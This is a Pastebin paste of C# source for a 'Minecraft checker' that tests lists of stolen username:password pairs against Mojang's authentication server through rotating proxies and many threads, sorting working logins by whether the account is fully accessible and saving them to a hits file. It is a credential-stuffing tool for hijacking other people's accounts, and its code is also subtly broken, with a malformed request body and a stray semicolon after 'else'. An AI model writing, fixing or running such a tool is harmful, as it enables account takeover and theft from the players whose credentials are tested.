Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.IO;
- using xNet;
- using Newtonsoft.Json;
- using System.Threading;
- namespace Checker
- {
- class program
- {
- static void Main(string[] args)
- {
- Console.WriteLine("Threads :");
- int threads = int.Parse(Console.ReadLine());
- Console.WriteLine("Timeout :");
- int timeout = int.Parse(Console.ReadLine());
- Console.WriteLine("Proxy Type :");
- string proxiestype = Console.ReadLine().ToUpper();
- Console.Clear();
- List<string> accounts = File.ReadAllLines("accounts.txt").ToList();
- List<string> proxy = File.ReadAllLines("proxy.txt").ToList();
- Console.Title = ("FOF Minecraft Checker");
- int checkeds = 0;
- int Hits = 0;
- int dead = 0;
- int sfa = 0;
- int nfa = 0;
- Task.Factory.StartNew(() =>
- {
- while (true)
- {
- Console.Title = "FOF Checker v1 | " + checkeds + " Checked : " + dead + " Bad : " + Hits + " Good : " + nfa + "NFA :" + sfa + "SFA :";
- Thread.Sleep(500);
- }
- });
- Parallel.ForEach(accounts, new ParallelOptions { MaxDegreeOfParallelism = threads }, account =>
- {
- if (account.Split(':').Length == 2)
- {
- string username = account.Split(':')[0];
- string password = account.Split(':')[1];
- request: try
- {
- using (HttpRequest req = new HttpRequest())
- {
- req.Proxy = proxy[new Random().Next(proxy.Count)];
- req.Type = proxiestype;
- req.ConnectTimeout = timeout;
- req.KeepAliveTimeout = timeout;
- req.ReadWriteTimeout = timeout;
- req.AddHeader("Content-Type", "application/json");
- string response = req.Start(HttpMethod.POST, new Uri("https://authserver.mojang.com/authenticate"), new BytesContent(Encoding.UTF8.GetBytes("{\"agent}\":{\"name\":\"Minecraft\",\"version\":1},\"username\":\"" + username + "\",\"password\":\"" + password + "\",\"requestUser\":true}"))).ToString();
- if (response.Contains("selectedProfile"))
- {
- dynamic json = JsonConvert.DeserializeObject(response);
- bool secured = (bool)json.user.secured;
- if (secured == true)
- {
- Console.WriteLine("GOOD : " + accounts + " (NFA)");
- Interlocked.Increment(ref nfa);
- }
- if (secured == false)
- {
- Console.WriteLine("GOOD : " + accounts + " (SFA)");
- Interlocked.Increment(ref sfa);
- }
- write: try
- {
- using (StreamWriter sw = new StreamWriter("hits.txt", false))
- {
- if (secured == true)
- {
- sw.WriteLine(accounts + "(NFA)");
- }
- if (secured == false)
- {
- sw.WriteLine(accounts + "(SFA)");
- }
- }
- }
- catch
- {
- Thread.Sleep(new Random().Next(25, 75));
- goto write;
- }
- Interlocked.Increment(ref Hits);
- }
- else;
- {
- Console.WriteLine("BAD :" + accounts);
- Interlocked.Increment(ref dead);
- }
- Interlocked.Increment(ref checkeds);
- }
- }
- catch
- {
- goto request;
- }
- }
- });
- Console.WriteLine(Environment.NewLine);
- Console.WriteLine(checkeds + " Checked");
- Console.WriteLine(dead + " Bad");
- Console.WriteLine("");
- Console.WriteLine(Hits + " Hits");
- Console.WriteLine("");
- Console.WriteLine(sfa + " SFA");
- Console.WriteLine(nfa + " NFA");
- Console.WriteLine("Checked Successfully!");
- Thread.Sleep(-1);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement